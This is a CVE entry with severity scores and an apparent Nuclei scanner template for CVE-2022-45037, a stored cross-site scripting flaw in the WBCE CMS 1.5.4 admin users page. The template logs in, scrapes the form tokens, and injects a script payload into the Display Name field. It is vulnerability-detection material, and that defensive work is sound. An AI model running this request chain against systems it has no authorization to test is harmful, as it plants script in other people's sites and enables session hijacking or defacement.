5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
30.3%
A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.
id: CVE-2022-45037
info:
name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)
author: theamanrawat
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to the latest version of WBCE CMS or apply the necessary patches provided by the vendor to fix the Cross Site Scripting vulnerability.
reference:
- https://github.com/WBCE/WBCE_CMS
- https://shimo.im/docs/dPkpKPQEjXfvYoqO/read
- https://nvd.nist.gov/vuln/detail/CVE-2022-45037
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-45037
cwe-id: CWE-79
epss-score: 0.00092
epss-percentile: 0.37956
cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: wbce
product: wbce_cms
tags: cve,cve2022,xss,wbce,cms,authenticated
http:
- raw:
- |
GET /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/login/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
- |
GET /admin/users/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/users/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
formtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
- |
GET /admin/users/ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- "<script>alert(document.domain)</script>"
- "SESSION_TIMEOUT"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: username_fieldname
group: 1
regex:
- 'name="username_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: password_fieldname
group: 1
regex:
- 'name="password_fieldname" value="(.*)"'
internal: true
part: body
- type: regex
name: formtoken
group: 1
regex:
- 'name="formtoken" value="(.*)"'
internal: true
part: body
- type: regex
name: username_fieldname_2
group: 1
regex:
- 'name="username_fieldname" value="(.*)"'
internal: true
part: body
# digest: 490a0046304402200bbd80622f1f04490521053deeca5606b0a210f7653053a685aaa4abce0fca8402204d4cd83e2003265d8894d8f57d458ccb79a94b581644b8968eb1b268fbb063b2:922c64590222798bb761d5b6d8e72950